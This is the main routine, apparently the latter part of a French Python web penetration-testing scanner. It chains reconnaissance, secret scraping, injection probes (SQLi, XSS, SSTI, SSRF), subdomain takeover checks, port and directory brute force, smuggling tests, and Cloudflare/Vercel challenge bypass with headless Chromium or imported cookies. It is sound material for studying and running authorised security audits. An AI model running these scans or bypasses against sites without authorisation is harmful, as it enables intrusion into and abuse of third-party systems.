        L.append(section("8", "Exploits connus (Exploit-DB)",
                         "".join(notes_html)))

    # 9. Notes backends
    if backend_notes:
        inner = "".join(f'<div class="note">{_esc(n)}</div>'
                        for n in backend_notes)
        L.append(section("9", "Notes sur les backends / environnement", inner))

    L.append("<footer>Rapport généré automatiquement par pentest — "
             "à utiliser uniquement sur des systèmes autorisés.</footer>")
    L.append("</div>")
    L.append("</body>")
    L.append("</html>")
    return "\n".join(L)


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    ap = argparse.ArgumentParser(
        description="pentest — audit de sécurité boîte noire one-shot.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=("Exemples:\n"
                "  pentest https://example.com\n"
                "  pentest example.com --slow\n"
                "  pentest https://example.com --delay 6\n"
                "  pentest https://example.com --browser --out rapport.md\n"
                "  pentest example.com --deep\n"))
    ap.add_argument("url", help="URL ou domaine cible (ex: https://example.com)")
    ap.add_argument("--slow", action="store_true",
                    help="Mode très prudent : délai >= 8 s entre requêtes")
    ap.add_argument("--delay", type=float, default=None,
                    help="Délai (s) entre deux requêtes (défaut 2.5 s, --slow => 8 s)")
    ap.add_argument("--no-ssl", action="store_true", help="Ne pas auditer TLS")
    ap.add_argument("--no-subdomains", action="store_true",
                    help="Ne pas brute-forcer les sous-domaines / SAN (test local)")
    ap.add_argument("--cookies", default=None,
                    help="Fichier JSON de cookies (session de navigateur déjà résolue) "
                         "(format: [{\"name\":\"cf_clearance\",\"value\":\"...\",\"domain\":\".brixhub.to\"}, ...])")
    ap.add_argument("--browser", action="store_true",
                    help="Traverser les challenges Cloudflare/Vercel via "
                         "Chromium headless (Playwright requis)")
    ap.add_argument("-f", "--full", action="store_true",
                    help="Scan complet (--browser + --cve) affiché en console "
                         "UNIQUEMENT, sans écrire de rapport (.md/.json)")
    ap.add_argument("--timeout", type=int, default=25,
                    help="Timeout HTTP en secondes (défaut 25)")
    ap.add_argument("--json", action="store_true",
                    help="Écrire aussi un rapport JSON (.json à côté du .md)")
    ap.add_argument("--cve", action="store_true",
                    help="Fusionner les CVE webcve (base locale) dans le rapport "
                         "(plus lent, même cible)")
    ap.add_argument("--exploits", action="store_true",
                    help="Recherche d'exploits Exploit-DB (searchsploit) "
                         "pour les technologies détectées")
    ap.add_argument("--min-sev", default=None,
                    choices=["critical", "high", "medium", "low"],
                    help="Sévérité min des CVE fusionnées avec --cve "
                         "(défaut : high avec -f, low sinon)")
    ap.add_argument("--deep", action="store_true",
                    help="Tests de paramètres supplémentaires (SQLi par erreur, "
                         "XSS réfléchi, open redirect) en plus des checks passifs")
    ap.add_argument("--ports", action="store_true",
                    help="Scan TCP des ports les plus courants (actif, bruyant)")
    ap.add_argument("--dirb", action="store_true",
                    help="Brute-force de répertoires/fichiers (wordlist interne, bruyant)")
    ap.add_argument("--tls-full", action="store_true",
                    help="Énumération des suites de chiffrement faibles (openssl s_client)")
    ap.add_argument("--smuggle", action="store_true",
                    help="Test d'indice HTTP Request Smuggling (CL+TE)")
    ap.add_argument("--proxy", default=None,
                    help="Proxy HTTP CONNECT (ex: http://127.0.0.1:8080)")
    ap.add_argument("--out", default=None, help="Chemin du fichier de rapport (.md)")
    ap.add_argument("--html", default=None,
                    help="Chemin du fichier de rapport HTML (défaut : même chemin "
                         "que --out avec l'extension .html, ou fichier auto-généré "
                         "dans /tmp)")
    ap.add_argument("--version", action="version", version=f"%(prog)s {__version__}")
    args = ap.parse_args()

    if args.full:
        # -f = tout, en console uniquement, CVE high+ par défaut
        args.browser = True
        args.cve = True
        args.exploits = True
        args.deep = True
        args.ports = True
        args.dirb = True
        args.tls_full = True
        args.smuggle = True
    if args.min_sev is None:
        args.min_sev = "high" if args.full else "low"

    if args.delay is not None:
        delay = args.delay
    elif args.slow:
        delay = 8.0
    else:
        delay = 2.5

    # --- Proxy ---
    if args.proxy:
        try:
            spec = set_proxy(args.proxy)
        except ValueError as e:
            print(f"  [x] --proxy invalide : {e}")
            sys.exit(1)
        print(f"  [proxy] Tous les trafics via {spec}")

    raw = args.url
    if not re.match(r"^https?://", raw, re.I):
        raw = "https://" + raw
    base_url = raw.rstrip("/")
    host = urllib.parse.urlparse(base_url).netloc

    sess = Session(delay=delay, slow=args.slow)

    if args.cookies:
        cookie_map = load_cookies_from_file(args.cookies)
        if cookie_map:
            for k, v in cookie_map.items():
                sess.cookies[k] = v
            print(f"  [i] {len(cookie_map)} cookie(s) chargé(s) depuis {args.cookies}")
        else:
            print(f"  [!] Aucun cookie chargé depuis {args.cookies} (format invalide ?)")

    print(f"\n=== PENTEST — {base_url} ===")
    print(f"Mode : {'--slow (prudent)' if args.slow else f'délai {delay}s'}\n")
    findings = []
    backend_notes = []
    techs = set()

    # ---- Phase 1 : baseline ----
    print("[1/10] Baseline HTTP…")
    st, hd, body = sess.get(base_url, timeout=args.timeout)
    if st is None:
        print("  [x] Site injoignable. Vérifiez l'URL / la connexion. Abandon.")
        sys.exit(1)
    body_text = body.decode("utf-8", "ignore")
    server = hd.get("server", "")
    if "cloudflare" in server.lower() or "cloudfront" in server.lower():
        techs.add(server.title())
    if "PHPSESSID" in "; ".join(sess.cookies) or "PHPSESSID" in str(hd.get("set-cookie", "")):
        techs.add("PHP (cookie PHPSESSID)")
    for sc in (hd.get("set-cookie", ""),):
        if "laravel_session" in sc:
            techs.add("Laravel (PHP)")
        if "wordpress" in sc.lower() or "wp-" in sc.lower():
            techs.add("WordPress")
    # Fingerprinting technologique initial (headers + baseline)
    for t in fingerprint_tech(hd, [body_text],
                              cookies_str=str(hd.get("set-cookie-raw", []))):
        tname = t["name"] + (f" v{t['version']}" if t.get("version") else "")
        techs.add(tname)
    print(f"  status={st}, server={server or '-'}, cookies={list(sess.cookies)}")
    wafs = fingerprint_waf(hd, body)
    if wafs:
        print(f"  [waf] WAF/CDN détecté(s) : {', '.join(wafs)}")
        backend_notes.append("WAF/CDN détecté : " + ", ".join(wafs))
    if body_text.startswith("error code: 1101"):
        print("  [i] Cloudflare 1101 — backend hors-ligne")
        backend_notes.append("Cloudflare 1101 (backend hors-ligne / non déployé)")

    # ---- Phase 2 : challenge JS / WAF ----
    print("[2/10] Challenge JS / WAF…")
    challenge_solved = False
    browser_js = []  # URLs JS capturées via Chromium (--browser)
    challenge_type = _challenge_type(body_text)
    if _is_js_challenge(body) or is_waf_challenge(st, hd, body) \
            or (st in (403, 503) and challenge_type != "js-challenge"):
        print(f"  [i] Défi anti-bot détecté ({challenge_type}) → résolution…")
        cookie = solve_js_challenge(body_text)
        if cookie:
            sess.cookies[cookie[0]] = cookie[1]
            print(f"  [ok] Challenge résolu (cookie {cookie[0]}={cookie[1][:8]}…)")
        elif args.browser:
            print("  [i] Solveur pur : échec → Chromium/Playwright (--browser)…")
            res = _browser_fetch(base_url, timeout=45)
            if res:
                body, cookies, browser_js = res
                body_text = body.decode("utf-8", "ignore")
                for c in cookies:
                    sess.cookies[c["name"]] = c["value"]
                print(f"  [ok] Chromium : challenge traversé "
                      f"({len(browser_js)} JS capturés)")
            else:
                print("  [!] Impossible de traverser le challenge anti-bot strict.")
                if st == 403:
                    srv = (server or "").lower()
                    if "cloudflare" in srv:
                        extra = (". Votre IP (VPN/datacenter) est probablement flaggée "
                                 "par le pare-feu Cloudflare du site. Essayez une autre "
                                 "IP / un autre VPN")
                    elif "vercel" in srv or "vercel" in challenge_type:
                        extra = (". Vercel Security Checkpoint (Attack Challenge) : "
                                 "relancez avec --browser, ou passez le checkpoint "
                                 "dans votre navigateur puis --cookies FICHIER.json")
                    else:
                        extra = ""
                else:
                    extra = ""
                print(f"        Le site ({challenge_type}) exige un vrai navigateur "
                      f"avec résolution de captcha{extra}.")
                print("        Astuce : ouvrez le site dans votre navigateur, résolvez "
                      "le captcha, puis réutilisez-la via :")
                print(f"          pentest {args.url} --cookies FICHIER.json")
                print("        (FICHIER.json = cookies de session exportés, ex. "
                      'formats [{"name":"cf_clearance","value":"...","domain":"..."}])')
        challenge_solved = True

    # ---- Phase 3 : sitemap/robots ----
    print("[3/10] Sitemap + robots…")
    sitemap_urls = map_routes(sess, base_url, body_text)
    print(f"  {len(sitemap_urls)} URL(s) découvertes")

    # ---- Phase 4 : sous-domaines ----
    print("[4/10] Sous-domaines (DNS + SAN cert)…")
    hostname = host.split(":")[0]  # retirer le port éventuel
    subdomains = []
    san = get_san_from_cert(hostname) if (not args.no_ssl and not args.no_subdomains) else []
    if not args.no_ssl and not args.no_subdomains:
        for name in san:
            if name.startswith("*."):
                continue
            if name != hostname and name.endswith(hostname.lstrip("www.")):
                subdomains.append(name)
    if not args.no_subdomains and not re.match(r"^\d+\.\d+\.\d+\.\d+$", hostname):
        for sub in SUBDOMAINS:
            fqdn = f"{sub}.{hostname.lstrip('www.')}"
            if fqdn in subdomains:
                continue
            if dns_resolve(fqdn):
                subdomains.append(fqdn)
        # Transparence des certificats (crt.sh) — beaucoup plus riche que le brute
        print("    [ct] Transparence des certificats (crt.sh)…")
        ct_added = 0
        for name in sorted(discover_subs_crtsh(hostname)):
            if name not in subdomains:
                subdomains.append(name)
                ct_added += 1
        if ct_added:
            print(f"    [ct] +{ct_added} sous-domaine(s) via certificats")
    print(f"  {len(subdomains)} sous-domaine(s) : {', '.join(subdomains[:20])}")
    # statut des sous-domaines
    scheme = urllib.parse.urlparse(base_url).scheme or "https"

    def _one_sub(sd):
        u = f"{scheme}://{sd}"
        try:
            sst, _shd, sbody = sess.get(u, timeout=18)
        except Exception:
            return f"{sd} -> timeout"
        note = ""
        if sbody and b"error code: 1101" in sbody:
            note = " (backend hors-ligne)"
        elif sst == 530:
            note = " (Origin DNS error)"
        elif _is_js_challenge(sbody):
            note = " (challenge JS)"
        return f"{sd} -> {sst}{note}"
    sub_status = _pmap(sess, subdomains[:10], _one_sub, max_workers=6)
    if sub_status:
        backend_notes += sub_status

    # ---- Phase 5 : cartographie des routes ----
    print("[5/10] Cartographie des routes…")
    routes = []
    if sitemap_urls:
        routes = probe_urls(sess, sitemap_urls)
        live = [r for r in routes if r["live"]]
        print(f"  {len(live)}/{len(routes)} route(s) vivante(s)")
    else:
        print("  (pas de sitemap)")

    # ---- Phase 6 : scan de secrets ----
    print("[6/10] Scan de secrets (HTML + JS externes)…")
    # Collecter les URLs JS/JSON externes référencées dans le HTML
    js_urls = []
    for m in re.finditer(r'src\s*=\s*["\']([^"\']+\.(?:js|json)[^"\']*)["\']', body_text):
        u = m.group(1)
        if u.startswith("http"):
            js_urls.append(u)
        elif u.startswith("/"):
            js_urls.append(urllib.parse.urljoin(base_url, u))
    js_urls = list(dict.fromkeys(js_urls + browser_js))  # dédupliquer
    bodies_to_scan = [body_text]
    # Ajout des corps des routes vivantes (PARALLÈLE — réseau en attente)
    futs = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as ex:
        futs = {ex.submit(sess.get, r["url"], 25): r
                for r in routes if r["live"] and r["size"] < 400000}
        route_bodies = []
        for fut in concurrent.futures.as_completed(futs):
            try:
                _st, _hd, b = fut.result()
            except Exception:
                continue
            route_bodies.append(b.decode("utf-8", "ignore"))
    bodies_to_scan += route_bodies
    # Télécharger et scanner les JS/JSON externes (PARALLÈLE)
    jbodies = {}
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as ex:
        jfuts = {ex.submit(sess.get, ju, 25): ju for ju in js_urls}
        for fut in concurrent.futures.as_completed(jfuts):
            ju = jfuts[fut]
            try:
                _st, _hd, jb = fut.result()
            except Exception:
                continue
            jb_text = jb.decode("utf-8", "ignore")
            if len(jb_text) < 400000:
                jbodies[ju] = jb_text
                if ju not in routes:
                    routes.append({"url": ju, "status": 200, "live": True,
                                   "size": len(jb)})
    bodies_to_scan += list(jbodies.values())
    # Sourcemaps exposées (code source récupérable) sur les JS vus
    for f in scan_sourcemaps(sess, base_url, js_urls):
        findings.append(f)
        print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:120]}")
    # Adresses e-mail visibles (cibles d'énumération/phishing)
    for f in check_email_disclosure(body_text, base_url):
        findings.append(f)
    # Fingerprinting technologique enrichi (headers + HTML + tous les JS)
    for t in fingerprint_tech(hd, bodies_to_scan,
                              cookies_str="; ".join(
                                  f"{k}={v}" for k, v in sess.cookies.items())):
        tname = t["name"] + (f" v{t['version']}" if t.get("version") else "")
        techs.add(tname)
    _seen_secrets = set()
    for b in bodies_to_scan:
        for f in scan_secrets(b, _seen_secrets):
            findings.append(f)
    secrets = [f for f in findings if f["severity"] in ("élevée", "moyenne")]
    print(f"  {len(secrets)} secret(s)/indicateur(s) trouvé(s)")
    for js_u in js_urls[:10]:
        print(f"    [JS] {js_u}")
    for f in secrets[:10]:
        print(f"    [{f['severity']}] {f['type']}: {f['match'][:40]}")
    # Debug : afficher le contexte de la clé dans body_text
    for mm in re.finditer(r'.{0,200}(AIza[A-Za-z0-9_-]{20,}).{0,200}', body_text):
        print(f"  [DEBUG body] contexte clé : ...{mm.group(0)}...")
    # Debug : afficher les lignes contenant firebaseConfig
    for line in body_text.split('\n'):
        if 'firebaseConfig' in line or 'initializeApp' in line or 'projectId' in line:
            print(f"  [DEBUG body] ligne : {line[:300]}")

    # ---- Phase 6b : checks web modernes (lecture seule) ----
    # Sautés si la baseline est un challenge WAF (résultats non représentatifs).
    live_urls = [r["url"] for r in routes if r["live"]]
    if not is_waf_challenge(st, hd, body):
        print("[6b/10] Checks modernes (CORS, méthodes, fichiers, Next, Auth.js)…")
        for f in check_cors(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}")
        for f in check_methods(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}")
        for f in check_method_fuzz(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:120]}")
        for f in check_sensitive_paths(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence']}")
        for f in check_directory_listing(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence']}")
        for f in check_leftover_archives(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence']}")
        for f in check_cloud_buckets(sess, bodies_to_scan):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence']}")
        for f in check_next_image_ssrf(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}")
        for f in check_ssrf_params(sess, live_urls):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:120]}")
        for f in check_endpoint_exposure(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:100]}")
        for f in check_graphql_introspection(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:80]}")
        authjs_findings, authjs_notes = check_authjs(sess, base_url)
        findings += authjs_findings
        for n in authjs_notes:
            backend_notes.append(n)
            print(f"  [i] {n}")
        for f in authjs_findings:
            print(f"    [{f['severity']}] {f['type']}")
        print("  (terminé)")
    else:
        print("[6b/10] Checks modernes sautés (challenge WAF, non représentatif)…")
        backend_notes.append("checks modernes sautés : baseline = challenge WAF")

    # ---- Phase 6c : formulaires / ViewState JSF / stack traces ----
    if not is_waf_challenge(st, hd, body):
        print("[6c/10] Formulaires (ViewState JSF, CSRF) + erreurs détaillées…")
        fnotes, ffind = analyze_forms(body_text, base_url)
        backend_notes += fnotes
        findings += ffind
        for f in ffind:
            print(f"    [{f['severity']}] {f['type']}")
        for f in test_viewstate(sess, base_url, body_text):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}")
        # mêmes analyses sur 3 routes vivantes max (JSF multi-pages)
        for r in [x for x in routes if x["live"]][:3]:
            try:
                _, _, rb = sess.get(r["url"], timeout=20)
                rn, rf = analyze_forms(rb.decode("utf-8", "ignore"), r["url"])
                for n in rn:
                    if n not in backend_notes:
                        backend_notes.append(n)
                findings += rf
            except Exception:
                continue
        for f in check_error_disclosure(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}")
        for f in check_session_tokens(sess, base_url, body_text):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:80]}")
        print("  (terminé)")
    else:
        print("[6c/10] Checks formulaires sautés (challenge WAF)…")

    # ---- Phase 6d : tests de paramètres (--deep) + takeover ----
    if args.deep and not is_waf_challenge(st, hd, body):
        print("[6d/10] Tests de paramètres (SQLi erreur, XSS réfléchi, "
              "open redirect)…")
        live_urls = [r["url"] for r in routes if r["live"]]
        for f in check_parameter_sqli(sess, live_urls):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:120]}")
        for f in check_reflected_xss(sess, live_urls):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:120]}")
        for f in check_time_based_sqli(sess, live_urls):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:120]}")
        for f in check_ssti(sess, live_urls):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:120]}")
        for f in check_open_redirect(sess, base_url):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:120]}")
        print("  (terminé)")
    if subdomains and not is_waf_challenge(st, hd, body):
        print("[sub] Prise de contrôle de sous-domaines (CNAME)…")
        for f in check_subdomain_takeover(sess, subdomains, scheme):
            findings.append(f)
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:140]}")

    # ---- Phase 7 : Firebase public ----
    print("[7/10] Vérification Firebase (config + Firestore/Storage/RTDB)…")
    firebase_found = False
    checked_pid = set()
    for cfg in extract_firebase_configs(bodies_to_scan):
        pid = cfg.get("projectid")
        bucket = cfg.get("storagebucket")
        api = cfg.get("apikey")
        if not pid:
            print(f"  [i] Config Firebase partielle (apiKey={api})")
            continue
        if pid in checked_pid:
            continue
        checked_pid.add(pid)
        firebase_found = True
        print(f"  [i] Config Firebase : projectId={pid}"
              + (f", bucket={bucket}" if bucket else ""))
        res = check_firebase(sess, pid, bucket)
        if res:
            findings += res
            for r_ in res:
                print(f"    [{r_['severity']}] {r_['type']}")
    if not firebase_found:
        print("  (aucune config Firebase détectée dans HTML/JS)")

    # ---- Phase 8 : énumération register/login ----
    print("[8/10] Énumération d'identifiants / front inerte…")
    if "mode" in body_text and ("register" in body_text or "login" in body_text):
        notas = test_register_and_login(sess, base_url, body_text)
        findings += notas
        for n in notas:
            print(f"    [{n['severity']}] {n['type']}")
    else:
        # Chercher dans les routes vivantes
        for r in routes:
            if r["live"]:
                _, _, b = sess.get(r["url"], timeout=22)
                txt = b.decode("utf-8", "ignore")
                if "mode" in txt and ("register" in txt or "login" in txt):
                    notas = test_register_and_login(sess, r["url"], txt)
                    findings += notas
                    for n in notas:
                        print(f"    [{n['severity']}] {n['type']}")
                    break
    print("  (terminé)")

    # ---- Phase 9 : headers + TLS ----
    print("[9/10] En-têtes de sécurité + TLS…")
    headers_missing, headers_weak, cookie_problems = audit_headers(hd)
    if st not in (200, 201, 204):
        backend_notes.append(f"audit en-têtes réalisé sur statut {st} "
                             "(page de maintenance/WAF/redirection) — re-tester en nominal")
        print(f"  [i] statut {st} : en-têtes à re-tester hors maintenance")
    for h in headers_missing:
        print(f"    manquant: {h['header']}")
    for w in headers_weak:
        findings.append({"type": f"En-tête faible : {w['name']} "
                                 f"({'; '.join(w['issues'])})",
                         "severity": w["severity"],
                         "evidence": f"{w['name']} = {w['value'][:160]}"})
        print(f"    faible [{w['severity']}]: {w['name']} — {'; '.join(w['issues'])}")
    for cp in cookie_problems:
        print(f"    cookie '{cp['cookie']}' : {', '.join(cp['issues'])}")
    tls_info = {}
    if not args.no_ssl:
        try:
            ctx = ssl.create_default_context()
            s = proxy_connect(hostname, 443, timeout=12)
            with s:
                with ctx.wrap_socket(s, server_hostname=hostname) as ss:
                    cert = ss.getpeercert()
                    days_left = compute_cert_days_left(cert)
                    subject = dict(x[0] for x in cert.get("subject", []))
                    issuer = dict(x[0] for x in cert.get("issuer", []))
                    tls_info = {
                        "version": ss.version(),
                        "cipher": ss.cipher()[0],
                        "subject": subject,
                        "issuer": issuer.get("organizationName", issuer.get("commonName", "?")),
                        "serial": cert.get("serialNumber", ""),
                        "san": [e[1] for e in cert.get("subjectAltName", [])],
                        "not_after": cert.get("notAfter"),
                        "days_remaining": days_left,
                    }
        except Exception as e:
            tls_info = {"error": str(e)}
        if tls_info.get("days_remaining") is not None:
            dr = tls_info["days_remaining"]
            if dr < 0:
                f = {"type": "Certificat TLS expiré", "severity": "élevée",
                     "evidence": f"{tls_info['not_after']} ({-dr} j de retard)",
                     "source": "tls"}
                findings.append(f)
                print(f"    [{f['severity']}] {f['type']}")
            elif dr < 30:
                f = {"type": f"Certificat TLS expire dans {dr} jours",
                     "severity": "moyenne",
                     "evidence": tls_info["not_after"], "source": "tls"}
                findings.append(f)
                print(f"    [{f['severity']}] {f['type']}")
        if args.tls_full and not tls_info.get("error"):
            print("    [tls] Suites de chiffrement faibles (openssl s_client)…")
            wc_f, wc_n = audit_tls_weak_ciphers(hostname)
            findings += wc_f
            backend_notes += wc_n
            for f in wc_f:
                print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:90]}")
            for n in wc_n:
                print(f"  [i] {n}")
        if tls_info.get("version"):
            for f in check_http_protocols(tls_info):
                findings.append(f)
                print(f"    [{f['severity']}] {f['type']}")
        for n in check_h2_alpn(hostname, hd):
            print(f"  [i] {n}")
            backend_notes.append(n)

    # ---- Phase complémentaire : DNS/mail, TLS protocols, archives, ports ----
    print("[bonus] Modules complémentaires (DNS/mail, TLS versions, archives, ports)…")
    dns_f, dns_n = check_dns_posture(hostname)
    findings += dns_f
    backend_notes += dns_n
    for f in dns_f:
        print(f"    [{f['severity']}] {f['type']}")
    origin_f, origin_n = check_origin_exposure(hostname, subdomains)
    findings += origin_f
    backend_notes += origin_n
    for f in origin_f:
        print(f"    [{f['severity']}] {f['type']}")
    for n in origin_n:
        print(f"  [i] {n}")
    hard_f, hard_n = check_dns_hardening(hostname)
    findings += hard_f
    backend_notes += hard_n
    for f in hard_f:
        print(f"    [{f['severity']}] {f['type']}")
    for n in hard_n:
        print(f"  [i] {n}")
    wk_f, wk_n = check_wellknown(sess, base_url)
    findings += wk_f
    backend_notes += wk_n
    for f in wk_f:
        print(f"    [{f['severity']}] {f['type']}")
    for n in wk_n:
        print(f"  [i] {n}")
    if not args.no_ssl:
        tlsv_f = audit_tls_protocols(hostname)
        findings += tlsv_f
        for f in tlsv_f:
            print(f"    [{f['severity']}] {f['type']}")
    arch_f, arch_n = check_archive_exposure(hostname)
    findings += arch_f
    backend_notes += arch_n
    for f in arch_f:
        print(f"    [{f['severity']}] {f['type']}")
    if args.ports:
        ports_f, ports_n = check_tcp_ports(hostname)
        findings += ports_f
        backend_notes += ports_n
        for f in ports_f:
            print(f"    [{f['severity']}] {f['type']}")
    if args.dirb:
        print("    [dirb] Brute-force de répertoires (wordlist interne)…")
        dirb_f, dirb_n = check_dirbruteforce(sess, base_url)
        findings += dirb_f
        backend_notes += dirb_n
        for f in dirb_f:
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:90]}")
        for n in dirb_n:
            print(f"  [i] {n}")
    if args.smuggle:
        print("    [smuggle] Indice HTTP Request Smuggling (CL+TE)…")
        sm_f, sm_n = check_http_smuggling(hostname)
        findings += sm_f
        backend_notes += sm_n
        for f in sm_f:
            print(f"    [{f['severity']}] {f['type']}: {f['evidence'][:100]}")
        for n in sm_n:
            print(f"  [i] {n}")
    print("  (terminé)")

    # ---- Phase 10 : synthèse et rapport ----
    if args.cve and not is_waf_challenge(st, hd, body):
        print("[CVE] Corrélation base locale via webcve…")
        cve_notes, cve_findings = fetch_cves(base_url, min_sev=args.min_sev)
        backend_notes += cve_notes
        findings += cve_findings
        for n in cve_notes:
            print(f"  [i] {n}")
    elif args.cve:
        backend_notes.append("pont CVE sauté : baseline = challenge WAF "
                             "(relancez avec --browser/--cookies côté webcve)")
        print("[CVE] Pont CVE sauté (challenge WAF)…")
    if args.exploits and not is_waf_challenge(st, hd, body):
        print("[EXPLOITS] Recherche via Exploit-DB…")
        ex_notes, ex_findings = search_exploits(sorted(techs))
        findings += ex_findings
        backend_notes += ex_notes
        for n in ex_notes:
            print(f"  [i] {n}")
        for f in ex_findings:
            print(f"    [{f['severity']}] {f['type']}")
    elif args.exploits:
        backend_notes.append("recherche exploits sautée : baseline = challenge WAF")
        print("[EXPLOITS] Recherche sautée (challenge WAF)…")
    print("\n=== RAPPORT ===")
    qualify_findings(findings)
    by_sev = build_report(base_url, findings)
    conf_true = sum(1 for f in findings if f.get("confidence") == "confirmé")
    conf_idx = sum(1 for f in findings if f.get("confidence") == "indice")
    print(f"  confirmé: {conf_true} | indice (à vérifier): {conf_idx}")
    for sev in ("élevée", "moyenne", "faible"):
        cnt = len(by_sev.get(sev, []))
        print(f"  {sev}: {cnt}")
    print(f"  total failles/indicateurs: {len(findings)}")
    print("\n  Recommandations prioritaires :")
    for i, rec in enumerate(recommendations(findings), 1):
        print(f"    {i}. {rec}")

    if args.full:
        # -f : détail console, aucun fichier écrit
        order = {"élevée": 0, "moyenne": 1, "faible": 2}
        for f in sorted(findings, key=lambda x: order.get(x.get("severity"), 3)):
            conf = f.get("confidence", "indice")
            tag = "✅" if conf == "confirmé" else "🕵️"
            src = ""
            if f.get("source") == "exploitdb":
                src = " [Exploit-DB]"
            elif "CVE-" in f.get("type", ""):
                src = " [CVE]"
            print(f"\n  {tag} [{f.get('severity')}] ({conf}){src} {f.get('type')}")
            if f.get("evidence"):
                print(f"    {f['evidence'][:300]}")
        print("\n(i) mode -f : aucun rapport écrit (console uniquement)")
        return

    waf_blocked = bool(is_waf_challenge(st, hd, body))

    def _write_reports(out_md):
        report = render_report_md(host, base_url, findings, sorted(techs),
                                  subdomains, routes, headers_missing,
                                  backend_notes, cookie_problems,
                                  tls_info=tls_info, waf_blocked=waf_blocked,
                                  headers_weak=headers_weak)
        with open(out_md, "w", encoding="utf-8") as f:
            f.write(report)
        print(f"\n✅ Rapport écrit : {out_md}")
        # Rapport HTML (même chemin que le .md mais en .html, ou --html forcé)
        if args.html:
            out_html = args.html
        elif out_md.endswith(".md"):
            out_html = out_md[:-3] + ".html"
        else:
            out_html = out_md + ".html"
        report_html = render_report_html(host, base_url, findings, sorted(techs),
                                         subdomains, routes, headers_missing,
                                         backend_notes, cookie_problems,
                                         tls_info=tls_info,
                                         waf_blocked=waf_blocked,
                                         headers_weak=headers_weak)
        with open(out_html, "w", encoding="utf-8") as f:
            f.write(report_html)
        print(f"\n✅ Rapport HTML écrit : {out_html}")
        if args.json:
            out_json = (out_md[:-3] + ".json") if out_md.endswith(".md") \
                else (out_md + ".json")
            payload = {
                "tool": f"pentest v{__version__}",
                "target": base_url,
                "date": datetime.datetime.now().isoformat(timespec="seconds"),
                "waf_blocked": waf_blocked,
                "technologies": sorted(techs),
                "findings": findings,
                "subdomains": subdomains,
                "routes": routes,
                "headers_missing": headers_missing,
                "headers_weak": headers_weak,
                "cookie_problems": cookie_problems or [],
                "tls": tls_info,
                "notes": backend_notes,
            }
            with open(out_json, "w", encoding="utf-8") as f:
                json.dump(payload, f, ensure_ascii=False, indent=2)
            print(f"✅ JSON écrit : {out_json}")

    if args.out:
        _write_reports(args.out)
    else:
        # défaut : fichier dans /tmp
        default = f"/tmp/pentest_{host}_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.md"
        _write_reports(default)


def _apply_server_rules():
    """Surcharge les tables de détection depuis le pack serveur si disponible.

    L'agent télécharge le pack avant chaque scan (connexion exigée) et expose
    son chemin via BREACHEBIN_RULES. Sans pack : valeurs embarquées.
    """
    try:
        from rules_loader import get as _rules_get
    except Exception:
        return
    try:
        _map = {
            'wordlists.subdomains': ('SUBDOMAINS', 'strlist'),
            'secrets.patterns': ('SECRET_PATTERNS', 'tuples'),
            'secrets.pin_patterns': ('PIN_PATTERNS', 'tuples'),
            'secrets.firebase_keys': ('FIREBASE_KEYS', 'strlist'),
            'wordlists.sensitive_paths': ('SENSITIVE_PATHS', 'tuples'),
            'wordlists.directory_paths': ('DIRECTORY_PATHS', 'strlist'),
            'wordlists.archive_paths': ('ARCHIVE_PATHS', 'strlist'),
            'wordlists.endpoint_paths': ('ENDPOINT_PATHS', 'tuples'),
            'wordlists.dirb': ('DIRB_WORDLIST', 'strlist'),
            'detection_meta.weak_ciphers': ('WEAK_CIPHERS', 'strlist'),
            'detection_meta.waf_markers': ('WAF_MARKERS', 'tuples'),
            'injection.sql_markers': ('SQL_ERROR_MARKERS', 'tuples'),
            'injection.redirect_params': ('REDIRECT_PARAMS', 'tuple'),
            'injection.ssrf_params': ('SSRF_PARAMS', 'tuple'),
            'detection_meta.top_ports': ('TOP_PORTS', 'tuples'),
        }
        for dotted, (var, kind) in _map.items():
            section, _, key = dotted.partition('.')
            pack = _rules_get(section, {}) or {}
            if key in pack and pack[key]:
                val = pack[key]
                if kind == 'tuple':
                    val = tuple(val)
                elif kind == 'tuples':
                    val = [tuple(e) for e in val]
                else:
                    val = [str(e) for e in val]
                globals()[var] = val
    except Exception:
        pass


_apply_server_rules()


if __name__ == "__main__":
    main()
